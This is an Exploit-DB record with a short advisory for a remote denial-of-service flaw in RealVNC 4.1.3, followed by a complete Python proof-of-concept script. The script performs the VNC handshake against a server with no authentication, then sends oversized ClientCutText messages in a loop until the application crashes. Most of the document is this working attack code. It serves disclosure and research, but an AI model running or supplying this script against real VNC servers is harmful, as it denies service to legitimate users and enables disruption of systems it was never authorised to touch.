RealVNC 4.1.3 - 'ClientCutText' Message Remote Denial of Service Vulnerability

2010-05-02T00:00:00
ID EDB-ID:33924
Type exploitdb
Reporter John Leitch
Modified 2010-05-02T00:00:00

Description

RealVNC 4.1.3 'ClientCutText' Message Remote Denial of Service Vulnerability. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/39895/info

RealVNC Viewer is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

RealVNC 4.1.3 is vulnerable; other versions may also be affected. 

import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
    try:
        while 1:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.settimeout(1.0)       
            
            print 'Connected'

            try:
                b = s.recv(8192)
                print 'ProtocolVersion Received'
                
                s.send(b)
                print 'ProtocolVersion Sent'            
                
                b = s.recv(8192)
                print 'Security Received'

                s.send('\x01')
                print 'Security Sent'
                
                # Recv SecurityResult
                b = s.recv(8192)
                print 'SecurityResult Received'

                if (len(b) == 4 and
                    b[0] == chr(0) and
                    b[1] == chr(0) and
                    b[2] == chr(0) and
                    b[3] == chr(0)):
                    print 'SecurityResult OK'
                else:
                    print 'SecurityResult Failed.\n\nThe server must be set '\
                          'to No Authentication for this to work, otherwise '\
                          'you \'ll need to write the necessary client side '\
                          'authentication code yourself.'
                    return           

                s.send('\x01')
                print 'ClientInit Sent'
                
                b = s.recv(8192)
                print 'ServerInit Received'

                text_len = 0xFFFFFF
                text_str = struct.pack('L', text_len) + '\xAA' * text_len
                
                while 1:
                    s.send('\x06\x00\x00\x00' + text_str)

                    print 'ClientCutText Sent'
                
            except Exception:
                print 'Connection closed'                
            
    except Exception:
        print 'Couldn\'t connect'

crash_vnc_server()